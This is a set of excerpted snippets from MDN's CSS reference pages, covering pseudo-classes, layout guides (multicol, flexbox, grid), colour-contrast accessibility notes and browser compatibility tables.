... Note: To read the W3C definitions for Robust and its guidelines and success criteria, see Principle 4: Robust -- Content must be robust enough that it can be interpreted reliably by a wide variety of user agents, including assistive technologies. ...
::placeholder - CSS: Cascading Style Sheets
high enough that people experiencing low vision conditions will be able to read it while also making sure there is enough of a difference between the placeholder text and input text color that users do not mistake the placeholder for inputed data. Color contrast ratio is determined by comparing the luminosity of the placeholder text and the input background color values. ...
...stake the placeholder for inputed data. Color contrast ratio is determined by comparing the luminosity of the placeholder text and the input background color values. In order to meet current
Web Content Accessibility Guidelines (WCAG), a ratio of 4.5:1 is required for text content and 3:1 for larger text such as headings. Large text is defined as 18.66px and bold or larger, or 24px or larger.
WebAIM: Color Contrast Checker MDN Understanding WCAG, Guideline 1.4 explanations Understanding Success Criterion 1.4.3 | W3C Understanding WCAG 2.0 Usability Placeholder text with sufficient color contrast may be interpreted as entered input. Placeholder text will also disappear when a person enters content into an <input> element. Both of these circumstances can interfere with successful form ...
::selection - CSS: Cascading Style Sheets
lection styles may hurt their understanding of the functionality. If overridden, it is important to ensure that the contrast ratio between the text and background colors of the selection is high enough that people experiencing low vision conditions can read it. Color contrast ratio is found by comparing the luminosity of the selected text and the selected text background colors. ...
...ncing low vision conditions can read it. Color contrast ratio is found by comparing the luminosity of the selected text and the selected text background colors. To meet current
Web Content Accessibility Guidelines (WCAG), text content must have a contrast ratio of 4.5:1, or 3:1 for larger text such as headings. (WCAG defines large text as between 18.66px and 24px and bold, or 24px or larger.)
WebAIM: Color Contrast Checker MDN Understanding WCAG, Guideline 1.4 explanations Understanding Success Criterion 1.4.3 | W3C Understanding WCAG 2.0 Specifications Specification Status Comment CSS Pseudo-Elements Level 4The definition of '::selection' in that specification. Working Draft Initial definition. Note: ::selection was in drafts of CSS Selector...
:checked - CSS: Cascading Style Sheets
n that specification. Recommendation Defines the pseudo-class, but not the associated semantic Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... 9Opera Full support 9Notes Full support 9Notes Notes On macOS, styling <option&rt; elements has no effect.Safari Full support 3.1Notes Full support 3.1Notes Notes Styling <option&rt; elements has no effect.
WebView Android Full support 2Chrome Android Full support 18Firefox Android Full support 4Notes Full support 4Notes Notes From Firefox 56, <option&rt; elements cannot be styled.Opera Android Full support ...
:defined - CSS: Cascading Style Sheets
HTML Living StandardThe definition of ':defined' in that specification. Living Standard Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...efinedChrome Full support 54Edge Full support 79Firefox Full support 63IE No support NoOpera Full support 41Safari Full support 10
WebView Android Full support 54Chrome Android Full support 54Firefox Android Full support 63Opera Android Full support 41Safari iOS Full support 10Samsung Internet Android ...
:has() - CSS: Cascading Style Sheets
ctors Level 4The definition of ':has()' in that specification. Working Draft Initial definition Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... NoNotes Notes See bug 669058Firefox No support NoNotes No support NoNotes Notes See bug 418039IE No support NoOpera No support NoSafari No support No
WebView Android No support NoChrome Android No support NoFirefox Android No support NoNotes No support NoNotes Notes See bug 418039Opera Android No support NoSafari iOS ...
:host-context() - CSS: Cascading Style Sheets
l 1The definition of ':host-context()' in that specification. Working Draft Initial definition. Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... Full support 79Firefox No support NoNotes No support NoNotes Notes See bug 1082060.IE No support NoOpera Full support 41Safari No support No
WebView Android Full support 54Chrome Android Full support 54Firefox Android No support NoNotes No support NoNotes Notes See bug 1082060.Opera Android Full support 41Safari iOS ...
:link - CSS: Cascading Style Sheets
CSS Level 1The definition of ':link' in that specification. Recommendation Initial definition. Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...et:linkChrome Full support 1Edge Full support 12Firefox Full support 1IE Full support 3Opera Full support 3.5Safari Full support 1
WebView Android Full support 1.5Chrome Android Full support 18Firefox Android Full support 4Opera Android Full support 14Safari iOS Full support 3.2Samsung Internet Android ...
:read-only - CSS: Cascading Style Sheets
n that specification. Working Draft Defines the pseudo-class, but not the associated semantics. Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... 78 Full support 78 Full support 1.5Prefixed Prefixed Implemented with the vendor prefix: -moz-IE No support NoOpera Full support 9Safari Full support 4
WebView Android Full support <=37Chrome Android Full support 18Firefox Android Full support 4Prefixed Full support 4Prefixed Prefixed Implemented with the vendor prefix: -moz-Opera Android Full support ...
:read-write - CSS: Cascading Style Sheets
n that specification. Working Draft Defines the pseudo-class, but not the associated semantics. Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... 78 Full support 78 Full support 1.5Prefixed Prefixed Implemented with the vendor prefix: -moz-IE No support NoOpera Full support 9Safari Full support 4
WebView Android Full support <=37Chrome Android Full support 18Firefox Android Full support 4Prefixed Full support 4Prefixed Prefixed Implemented with the vendor prefix: -moz-Opera Android Full support ...
:where() - CSS: Cascading Style Sheets
s Level 4The definition of ':where()' in that specification. Working Draft Initial definition. Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. DesktopMobileChromeEdgeFirefoxInternet ExplorerOperaSafariAndroid
webviewChrome for AndroidFirefox for AndroidOpera for AndroidSafari on iOSSamsung Internet:where()Chrome Full support 72Disabled Full support 72Disabled Disabled From version 72: this feature is behind the #enable-experimental-
web-platform-features preference (needs to be set to Enabled). To change preferences ...
...fault in Firefox Nightly.Disabled From version 77: this feature is behind the layout.css.is-where-selectors.enabled preference (needs to be set to enabled). To change preferences in Firefox, visit about:config.IE No support NoOpera No support NoSafari No support No
WebView Android No support NoChrome Android Full support 72Disabled Full support 72Disabled Disabled From version 72: this feature is behind the #enable-experimental-
web-platform-features preference (needs to be set to Enabled). To change preferences in Chrome, visit...
any-pointer - CSS: Cascading Style Sheets
at least one fine pointer and a large checkbox for users with at least one coarse pointer. The big checkbox takes precedence because it is declared after the small one. ...
... Candidate Recommendation Initial definition. ...
Alternative style sheets - CSS: Cascading Style Sheets
An example: specifying the alternative stylesheets The alternate stylesheets are commonly specified using a <link> element with rel="alternate stylesheet" and title="..." attributes. ...
... An example: specifying the alternative stylesheets The alternate stylesheets are commonly specified using a <link> element with rel="alternate stylesheet" and title="..." attributes. ...
Detecting CSS animation support - CSS: Cascading Style Sheets
le, and you may wish to handle that case by using JavaScript code to simulate a similar effect. This article, based on this blog post by Chris Heilmann, demonstrates a technique for doing this. ...
...d changing its name to AnimationName instead. Once this code is finished running, the value of animation will be false if CSS animation support isn't available, or it will be true. If it is true then both the animation property name and the keyframe prefix will be the right ones. So if you use a new Firefox, the property will be MozAnimation and the keyframe prefix -moz- and with Chrome it'll be
WebkitAnimation and -
webkit-. Notice browsers don't make it easy with the switching between camelCase and hyphen-ation. Animating using the correct syntax for different browsers Now that you know if CSS animation is supported or not, we can animate. if( animation === false ) { // animate in JavaScript fallback } else { elem.style[ animationstring ] = 'rotate 1s linear infinite'; var keyfr...
Handling Overflow in Multicol - CSS: Cascading Style Sheets
, at the time of writing, browsers deal with this differently. If you want an image to size down to fit the column box, the standard responsive images solution of setting max-width: 100% will achieve that for you. More columns than will fit How overflowing columns are handled depends on whether you are in a fragmented media context, such as print, or a continuous media context, such as a
web page. In fragmented media, once a fragment (for example a page) is filled with columns, the columns will move to a new page and fill that up with columns. In continuous media, columns will overflow in the inline direction. On the
web this means that you will get a horizontal scrollbar. The example below shows this overflow behaviour. My multicol container has a height and there is more text tha...
... there is more text than space to create columns, therefore we get columns created outside of the container. In a future version of the specification it would be useful to be able to have overflow columns in continuous media display in the block direction, therefore allowing the reader to scroll down to view the next set of columns. Using vertical media queries One issue with multicol on the
web is that, if your columns are taller than the viewport, the reader will need to scroll up and down to read, which is not good user experience. One way to avoid this is to only apply the column properties if you know you have enough height. In the example below we have used a min-height query to check the height before applying the column properties. In the final guide in this series we will se...
Using multi-column layouts - CSS: Cascading Style Sheets
fficia deserunt mollit anim id est laborum </div> CSS #wid { column-width: 100px; } Result The exact details are described in the CSS3 specification. In a multi-column block, content is automatically flowed from one column into the next as needed. All HTML, CSS and DOM functionality is supported within columns, as are editing and printing. The columns shorthand Most of the time, a
Web designer will use one of the two CSS properties: column-count or column-width. As values for these properties do not overlap, it is often convenient to use the shorthand columns. E.g. The CSS declaration column-width: 12em can be replaced by columns: 12em. Example 3 HTML <div id="col_short"> Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut lab...
...</div> CSS #column_gap { column-count: 5; column-gap: 2em; } Result Graceful Degradation The column properties will just be ignored by non-columns-supporting browsers. Therefore it's relatively easy to create a layout that will display in a single column in those browsers and use multiple columns in supporting browsers. Conclusion CSS3 columns are a layout primitive that will help
Web developers make the best use of screen real estate. Imaginative developers may find many uses for them, especially with the automatic height balancing feature. ...
Typical use cases of Flexbox - CSS: Cascading Style Sheets
ems to create a gap between items, and a negative margin on the container in order that the items still remain flush with the right and left edges. Until the gap properties from the Box Alignment specification are implemented in flexbox, we have to use margins in this way if we want to create a gutter between items. Center item Before flexbox, developers would joke that the hardest problem in
web design was vertical centering. This has now been made straightforward using the alignment properties in flexbox, as the following live example shows. You can play with the alignment, aligning the item to the start with flex-start or end with flex-end. In the future we may not need to make a container a flex container just to centre a single item, as the Box Alignment properties will ultimatel...
...orthand for flex: 1 1 0 -- the item can grow and shrink from a flex basis of 0. As this is the only item that can grow, it takes up all available space in the flex container and pushes the footer to the bottom. If you remove the flex property from the live example you will see how the footer then moves up to sit directly under the content. Media objects The media object is a common pattern in
web design -- this pattern has an image or other element to one side and text to the right. Ideally a media object should be able to be flipped -- moving the image from left to right. We see this pattern everywhere, used for comments, and anywhere we need to display images and descriptions. With flexbox we can allow the part of the media object containing the image to take its sizing information fro...
OpenType font features guide - CSS: Cascading Style Sheets
r variants refer to different glyphs or character styles contained within an OpenType font. These include things like ligatures (special glyphs that combine characters like 'fi' or 'ffl'), kerning (adjustments to the spacing between specific letterform pairings), fractions, numeral styles, and a number of others. These are all referred to as OpenType Features, and are made available to use on the
web via specific properties and a low-level control property -- font-feature-settings. This article provides you with all you need to know about using OpenType font features in CSS. Some fonts will have one or more of these features enabled by default (kerning and default ligatures are common examples), while others are left to the designer or developer to choose to enable in specific scenarios. In...
...y the 'M' renders, and applying @styleset(alt-a) only changes the lower case 'a'. Try changing the line font-variant-alternates: styleset(alt-a); to font-variant-alternates: styleset(alt-g); and notice that the lower case 'a' reverts to its regular form and the lower case 'g' changes instead. More about alternates https://www.w3.org/TR/css-fonts-4/#propdef-font-variant-alternates /docs/
Web/CSS/font-variant-alternates Ligatures (font-variant-ligatures) Ligatures are glyphs that replace two or more separate glyphs in order to represent them more smoothly (from a spacing or aesthetic perspective). Some of the most common are letters like 'fi', 'fl', or 'ffl' -- but there are many other possibilities. There are the most frequent ones (referred to as common ligatures), and there are ...
CSS grids, logical values, and writing modes - CSS: Cascading Style Sheets
re depth on that specification than we will touch upon here. writing-mode Writing Modes are more than just left to right and right to left text, and the writing-mode property helps us display text running in other directions. The writing-mode property can have values of: horizontal-tb vertical-rl vertical-lr sideways-rl sideways-lr The value horizontal-tb is the default for text on the
web. It is the direction in which you are reading this guide. The other properties will change the way that text flows in our document, matching the different writing modes found around the world. Again, for full details of these see Jen's article. As a simple example, I have two paragraphs below. The first uses the default horizontal-tb, and the second uses vertical-rl. In the mode text still runs l...
...In the guide to Box alignment and grids, I demonstrated how auto margins work in a grid area. Using an auto margin to push one item away from the others is a common flexbox trick too, however this also tie...
CSS Grid Layout and Accessibility - CSS: Cascading Style Sheets
This had some advantages over the "CSS Positioning" that came afterwards, in that we could take advantage of the alignment and full height columns offered by table display. The biggest downside however was that it tied our design to the mark-up, often creating accessibility issues as it did so. ...
...eing read out by a screen reader, or other text to speech user agent. In addition, the reordering will not change tab order. This means that someone navigating using the keyboard could be tabbing through links on your site and suddenly find themselves jumping from the top to the bottom of the document due to a reordered item being next in line. The specification warns authors (the CSSWG term for
web developers) not to do this reordering. Authors must use order and the grid-placement properties only for visual, not logical, reordering of content. Style sheets that use these features to perform logical reordering are non-conforming. What does this mean for designing with grid layout in practice? Visual not logical re-ordering Any time you reorder things with grid layout - or with flexbox...
Realizing common layouts using CSS Grid Layout - CSS: Cascading Style Sheets
umn flexible grid system, and also a product listing using auto-placement. As you can see from this set of examples, there is often more than one way to achieve the result you want with grid layout. Choose the method you find most helpful for the problems that you are solving and the designs that you need to implement. A responsive layout with 1 to 3 fluid columns using grid-template-areas Many
websites are a variation of this type of layout, with content, sidebars, a header and a footer. In a responsive design, you may want to display the layout as a single column, adding a sidebar at a certain breakpoint and then bring in a three-column layout for wider screens. I am going to create this layout using the named template areas that we learned about in the guide Grid template areas. My m...
...ther exploration The best way to learn to use grid layout is to continue to build examples like the ones we have covered here. Pick something that you normally build using your framework of choice, or using floats, and see if you can build it using grid. Don't forget to find examples that are impossible to build with current methods. That might mean taking inspiration from magazines or other non-
web sources. Grid Layout opens up possibilities that we have not had before, we don't need to be tied to the same old layouts to use it. For inspiration see the Layout Labs from Jen Simmons, she has been creating layouts based on a range of sources. For additional common layout patterns see Grid by Example, where there are many smaller examples of grid layout and also some larger UI patterns and ...
The stacking context - CSS: Cascading Style Sheets
HTML elements occupy this space in priority order based on element attributes. The stacking context In the previous part of this article, Using z-index, the rendering order of certain elements is influenced by their z-index value. This occurs because these elements have special properties which cause them to form a stacking context. ...
...r, with z-index value other than auto. Element with a opacity value less than 1 (See the specification for opacity). Element with a mix-blend-mode value other than normal. Element with any of the following properties with value other than none: transform filter perspective clip-path mask / mask-image / mask-border Element with a isolation value isolate. Element with a -
webkit-overflow-scrolling value touch. Element with a will-change value specifying any property that would create a stacking context on non-initial value (see this post). Element with a contain value of layout, or paint, or a composite value that includes either of them (i.e. contain: strict, contain: content). Within a stacking context, child elements are stacked according to the same rules prev...
Browser compatibility and Scroll Snap - CSS: Cascading Style Sheets
Firefox initially implemented an early version of the Scroll Snap Specification, called Scroll Snap Points. In Firefox 68 the new version of the specification will be shipped and these old properties removed. In this article, we consider questions that might arise related to compatibility across browsers and versions of browsers when adding support for scroll-snap to your
web site or app. What should I do if I used the old Firefox implementation? If you have only used the old Firefox implementation of the specification, with the properties that are detailed in Scroll Snap Points, you should update your code to use the new specification. This will ensure your scroll snapping works in all browsers which implement the specification, including Firefox. If you do not do this your scroll snappi...
... In this initial example we have used the old specification alongside the current specification in order to make scroll snapping work in all browsers which support some form of scroll snapping. The example adds the scroll-snap-points-y and scroll-snap-destination properties, which are deprec...
Questions about CSS - CSS: Cascading Style Sheets
Cascading Style Sheets (CSS) is a rule-based language allowing developers to define styles to apply to HTML elements (or other markup structures). CSS gives more control over the appearance of a
Web page to the page creator than to the browser designer or the viewer. With CSS, the sources of style definition for a given document element are in this order of precedence: The STYLE attribute on an individual element tag The STYLE element that defines a specific style sheet containing style declarations or a LINK element that links to a separate document containing the STYLE element. In a
Web page, the STYLE element is placed between the TITLE statement and the BODY statement. An imported style sheet, using the CSS @import notation to automatically import and merge an external st...
...ocument containing the STYLE element. In a
Web page, the STYLE element is placed between the TITLE statement and the BODY statement. An imported style sheet, using the CSS @import notation to automatically import and merge an external style sheet with the current style sheet Style attributes specified by the viewer to the browser The default style sheet assumed by the browser In general, the
Web page creator's style sheet takes precedence, but it's recommended that browsers provide ways for the viewer to override the style attributes in some respects. Since it's likely that different browsers will choose to implement CSS1 somewhat differently, the
Web page creator must test the page with different browsers. ...
Using Media Queries for Accessibility - CSS: Cascading Style Sheets
Reduced Motion Blinking and flashing animation can be problematic for people with cognitive concerns such as Attention Deficit Hyperactivity Disorder (ADHD). Additionally, certain kinds of motion can be a trigger for Vestibular disorders, epilepsy, and migraine and Scotopic sensitivity. Also, this method of switching animation off according to the user's preference can also benefit users with low battery or low-end phones or computers. Syntax no-preference Indicates that the user has made no preference known to the system. ...
...stem. reduce Indicates that user has notified the system that they prefer an interface that minimizes the amount of movement or animation, preferably to the point where all non-essential movement is removed. Example This example has an annoying animation unless you turn on Reduce Motion in your accessibility preferences. HTML <div class="animation">animated box</div> CSS .animation { -
webkit-animation: vibrate 0.3s linear infinite both; animation: vibrate 0.3s linear infinite both; } @media (prefers-reduced-motion: reduce) { .animation { animation: none; } } High Contrast Mode The -ms-high-contrast CSS media feature is a Microsoft extension that describes whether the application is being displayed in high contrast mode, and with what color variation. This will he...
Using media queries - CSS: Cascading Style Sheets
ght aspect ratio of the output device Deprecated in Media Queries Level 4. device-height Height of the rendering surface of the output device Deprecated in Media Queries Level 4. device-width Width of the rendering surface of the output device Deprecated in Media Queries Level 4. display-mode The display mode of the application, as specified in the
web app manifest's display member Defined in the
Web App Manifest spec. forced-colors Detect whether user agent restricts color palette Added in Media Queries Level 5. grid Does the device use a grid or bitmap screen? height Height of the viewport hover Does the primary input mechanism allow the user to hover over elements? Added in Med...
...e. , (comma) Commas are used to combine multiple media queries into a single rule. Each query in a comma-separated list is treated separately from the others. Thus, if any of the queries in a list is true, the entire media statement returns true. In other words, lists behave like a logical or operator. Targeting media types Media types describe the general category of a given device. Although
websites are commonly designed with screens in mind, you may want to create styles that target special devices such as printers or audio-based screenreaders. For example, this CSS targets printers: @media print { ... } You can also target multiple devices. For instance, this @media rule uses two media queries to target both screen and print devices: @media screen, print { ... } See Media types fo...
Syntax - CSS: Cascading Style Sheets
orgetting to add it when extending the block with another declaration. A CSS declaration block is visualized in the diagram below. Note: The content of a CSS declaration block, that is a list of semi-colon-separated declarations, without the initial and closing braces, can be put inside an HTML style attribute. CSS rulesets If style sheets could only apply a declaration to each element of a
Web page, they would be pretty useless. The real goal is to apply different declarations to different parts of the document. CSS allows this by associating conditions with declarations blocks. Each (valid) declaration block is preceded by one or more comma-separated selectors, which are conditions selecting some elements of the page. A selector group and an associated declarations block, together, a...
...t itself. This leads to an important consequence: if one single basic selector is invalid, like when using an unknown pseudo-element or pseudo-class, the whole selector is invalid and therefore the entire rule is ignored (as invalid too). CSS statements Rulesets are the main building blocks of a style sheet, which often consists of only a big list of them. But there is other information that a
Web author wants to convey in the style sheet, like the character set, other external style sheets to import, font face or list counter descriptions and many more. It will use other and specific kinds of statements to do that. A statement is a building block that begins with any non-space characters and ends at the first closing brace or semi-colon (outside a string, non-escaped and not included int...
background-color - CSS: Cascading Style Sheets
cy in the image. Accessibility concerns It is important to ensure that the contrast ratio between the background color and the color of the text placed over it is high enough that people experiencing low vision conditions will be able to read the content of the page. Color contrast ratio is determined by comparing the luminance of the text and background color values. ...
...ision conditions will be able to read the content of the page. Color contrast ratio is determined by comparing the luminance of the text and background color values. In order to meet current
Web Content Accessibility Guidelines (WCAG), a ratio of 4.5:1 is required for text content and 3:1 for larger text such as headings. Large text is defined as 18.66px and bold or larger, or 24px or larger.
WebAIM: Color Contrast Checker MDN Understanding WCAG, Guideline 1.4 explanations Understanding Success Criterion 1.4.3 | W3C Understanding WCAG 2.0 Formal definition Initial valuetransparentApplies toall elements. It also applies to ::first-letter and ::first-line.InheritednoComputed valuecomputed colorAnimation typea color Formal syntax <color>where <color> = <rgb()> | <rgba()> | <hsl()> | ...
border-bottom-width - CSS: Cascading Style Sheets
e definition of 'border-bottom-width' in that specification. Recommendation Initial definition. Browser compatibility The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...m-widthChrome Full support 1Edge Full support 12Firefox Full support 1IE Full support 4Opera Full support 3.5Safari Full support 1
WebView Android Full support 2.3Chrome Android Full support 18Firefox Android Full support 4Opera Android Full support 10.1Safari iOS Full support 1Samsung Internet Android ...
border-collapse - CSS: Cascading Style Sheets
se | separate Examples A colorful table of browser engines HTML <table class="separate"> <caption><code>border-collapse: separate</code></caption> <tbody> <tr><th>Browser</th> <th>Layout Engine</th></tr> <tr><td class="fx">Firefox</td> <td class="gk">Gecko</td></tr> <tr><td class="ed">Edge</td> <td class="tr">EdgeHTML</td></tr> <tr><td class="sa">Safari</td> <td class="wk">
Webkit</td></tr> <tr><td class="ch">Chrome</td> <td class="bk">Blink</td></tr> <tr><td class="op">Opera</td> <td class="bk">Blink</td></tr> </tbody> </table> <table class="collapse"> <caption><code>border-collapse: collapse</code></caption> <tbody> <tr><th>Browser</th> <th>Layout Engine</th></tr> <tr><td class="fx">Firefox</td> <td class="gk">Gecko</td></tr> <tr><td class="e...
...="op">Opera</td> <td class="bk">Blink</td></tr> </tbody> </table> <table class="collapse"> <caption><code>border-collapse: collapse</code></caption> <tbody> <tr><th>Browser</th> <th>Layout Engine</th></tr> <tr><td class="fx">Firefox</td> <td class="gk">Gecko</td></tr> <tr><td class="ed">Edge</td> <td class="tr">EdgeHTML</td></tr> <tr><td class="sa">Safari</td> <td class="wk">
Webkit</td></tr> <tr><td class="ch">Chrome</td> <td class="bk">Blink</td></tr> <tr><td class="op">Opera</td> <td class="bk">Blink</td></tr> </tbody> </table> CSS .collapse { border-collapse: collapse; } .separate { border-collapse: separate; } table { display: inline-table; margin: 1em; border: dashed 5px; } table th, table td { border: solid 3px; } .fx { border-color: ora...
border-left-style - CSS: Cascading Style Sheets
The definition of 'border-left-style' in that specification. Recommendation Initial definition. Browser compatibility The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... 1Notes Notes Prior to Firefox 50, border styles of rounded corners (with border-radius) were always rendered as if border-bottom-style was solid. ...
border-left - CSS: Cascading Style Sheets
Level 1The definition of 'border-left' in that specification. Recommendation Initial definition Browser compatibility The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...er-leftChrome Full support 1Edge Full support 12Firefox Full support 1IE Full support 4Opera Full support 3.5Safari Full support 1
WebView Android Full support 1Chrome Android Full support 18Firefox Android Full support 4Opera Android Full support 14Safari iOS Full support 1Samsung Internet Android ...
border-right-style - CSS: Cascading Style Sheets
he definition of 'border-right-style' in that specification. Recommendation Initial definition. Browser compatibility The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... 1Notes Notes Prior to Firefox 50, border styles of rounded corners (with border-radius) were always rendered as if border-bottom-style was solid. ...
border-right - CSS: Cascading Style Sheets
evel 1The definition of 'border-right' in that specification. Recommendation Initial definition Browser compatibility The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...rightChrome Full support 1Edge Full support 12Firefox Full support 1IE Full support 5.5Opera Full support 9.2Safari Full support 1
WebView Android Full support <=37Chrome Android Full support 18Firefox Android Full support 14Opera Android Full support 14Safari iOS Full support 1Samsung Internet Android ...
border-top - CSS: Cascading Style Sheets
Level 1The definition of 'border-top' in that specification. Recommendation Initial definition Browser compatibility The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...der-topChrome Full support 1Edge Full support 12Firefox Full support 1IE Full support 4Opera Full support 3.5Safari Full support 1
WebView Android Full support 1Chrome Android Full support 18Firefox Android Full support 4Opera Android Full support 14Safari iOS Full support 1Samsung Internet Android ...
border - CSS: Cascading Style Sheets
CSS Level 1The definition of 'border' in that specification. Recommendation Initial definition. Browser compatibility The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...tborderChrome Full support 1Edge Full support 12Firefox Full support 1IE Full support 4Opera Full support 3.5Safari Full support 1
WebView Android Full support <=37Chrome Android Full support 18Firefox Android Full support 4Opera Android Full support 14Safari iOS Full support 1Samsung Internet Android ...
color - CSS: Cascading Style Sheets
the element. Accessibility concerns It is important to ensure that the contrast ratio between the color of the text and the background the text is placed over is high enough that people experiencing low vision conditions will be able to read the content of the page. Color contrast ratio is determined by comparing the luminosity of the text and background color values. ...
...sion conditions will be able to read the content of the page. Color contrast ratio is determined by comparing the luminosity of the text and background color values. In order to meet current
Web Content Accessibility Guidelines (WCAG), a ratio of 4.5:1 is required for text content and 3:1 for larger text such as headings. Large text is defined as 18.66px and bold or larger, or 24px or larger.
WebAIM: Color Contrast Checker MDN Understanding WCAG, Guideline 1.4 explanations Understanding Success Criterion 1.4.3 | W3C Understanding WCAG 2.0 Formal definition Initial valueVaries from one browser to anotherApplies toall elements. It also applies to ::first-letter and ::first-line.InheritedyesComputed valueIf the value is translucent, the computed value will be the rgba() corresponding on...
<color> - CSS: Cascading Style Sheets
aphics cards. CSS Level 2 added the orange keyword. Although various colors not in the specification (mostly adapted from the X11 colors list) were supported by early browsers, it wasn't until SVG 1.0 and CSS Colors Level 3 that they were formally defined. They are called the extended color keywords, the X11 colors, or the SVG colors. CSS Colors Level 4 added the rebeccapurple keyword to honor
web pioneer Eric Meyer. Specification Keyword RGB hex value Live keyword CSS Level 1 black #000000 silver #c0c0c0 gray #808080 white #ffffff maroon #800000 red #ff0000 purple #800080 fuchsia #ff00ff green #008000 lime #...
...s disabled Highlight Background of items that are selected in a control HighlightText Text of items that are selected in a control LinkText Text of non-active, non-visited links VisitedText Text of visited links Deprecated system color keywords The following keywords were defined in earlier versions of the CSS Color Module. They are now deprecated. for use on public
web pages. ActiveBorder Active window border. ActiveCaption Active window caption. Should be used with CaptionText as foreground color. AppWorkspace Background color of multiple document interface. Background Desktop background. ButtonHighlight The color of the border facing the light source for 3-D elements that appear 3-D due to that layer of surrounding border. Bu...
cross-fade() - CSS: Cascading Style Sheets
r the cross-fade() function allows for multiple images and for each image to have transparency values independent of the other values. This was not always the case. The original syntax, which has been implemented in some browsers, only allowed for two images, with the sum of the transparency of those two images being exactly 100%. The original syntax is supported in Safari and supported with the -
webkit- prefix in Chrome, Opera, and other blink-based browsers. cross-fade(url(white.png), url(black.png), 0%); /* fully black */ cross-fade(url(white.png), url(black.png), 25%); /* 25% white, 75% black */ cross-fade(url(white.png), url(black.png), 50%); /* 50% white, 50% black */ cross-fade(url(white.png), url(black.png), 75%); /* 75% white, 25% black */ cross-fade(url(white.png), url(black.p...
...percentage><angular-color-stop> = <color> && <color-stop-angle>?<angular-color-hint> = <angle-percentage>where <color-stop-length> = <length-percentage>{1,2}<color-stop-angle> = <angle-percentage>{1,2}<angle-percentage> = <angle> | <percentage> Examples Older syntax for cross-fade HTML <div class="crossfade"></div> CSS .crossfade { width: 300px; height: 300px; background-image: -
webkit-cross-fade( url('https://mdn.mozillademos.org/files/8543/br.png'), url('https://mdn.mozillademos.org/files/8545/tr.png'), 75%); background-image: cross-fade( url('https://mdn.mozillademos.org/files/8543/br.png'), url('https://mdn.mozillademos.org/files/8545/tr.png'), 75%); } Result Specifications Specification Status Comme...
direction - CSS: Cascading Style Sheets
ion 1)The definition of 'direction' in that specification. Recommendation Initial definition. Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...ctionChrome Full support 2Edge Full support 12Firefox Full support 1IE Full support 5.5Opera Full support 9.2Safari Full support 1
WebView Android Full support 1Chrome Android Full support 18Firefox Android Full support 4Opera Android Full support 10.1Safari iOS Full support 1Samsung Internet Android ...
Adapting to the new two-value syntax of display - CSS: Cascading Style Sheets
out in Firefox, and will be ignored as invalid in Chrome. You can see current support in the compat data for the two-value syntax: The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...s ExperimentalChrome No support NoEdge No support NoFirefox Full support 70IE No support NoOpera No support NoSafari No support No
WebView Android No support NoChrome Android No support NoFirefox Android No support NoOpera Android No support NoSafari iOS No support NoSamsung Internet Android ...
element() - CSS: Cascading Style Sheets
Images: the element() notation' in that specification. Working Draft Deferred from CSS3 Images. Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...er-image and border-image-source. ...
empty-cells - CSS: Cascading Style Sheets
ion 1)The definition of 'empty-cells' in that specification. Recommendation Initial definition. Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...y-cellsChrome Full support 1Edge Full support 12Firefox Full support 1IE Full support 8Opera Full support 4Safari Full support 1.2
WebView Android Full support 1Chrome Android Full support 18Firefox Android Full support 4Opera Android Full support 10.1Safari iOS Full support 3.1Samsung Internet Android ...
font-size - CSS: Cascading Style Sheets
e> A positive <percentage> value, relative to the parent element's font size. Note: To maximize accessibility, it is generally best to use values that are relative to the user's default font size. Description There are several ways to specify the font size, including with keywords or numerical values for pixels or ems. Choose the appropriate method based on the needs for the particular
web page. Keywords Keywords are a good way to set the size of fonts on the
web. By setting a keyword font size on the <body> element, you can set relative font-sizing everywhere else on the page, giving you the ability to easily scale the font up or down on the entire page accordingly. Pixels Setting the font size in pixel values (px) is a good choice when you need pixel accuracy. A px value is s...
...ed in combination. For example, if a parent element is set to 16px and its child element is set to larger, the child element displays larger than the parent element in the page. Note: Defining font sizes in px is not accessible, because the user cannot change the font size in some browsers. For example, users with limited vision may wish to set the font size much larger than the size chosen by a
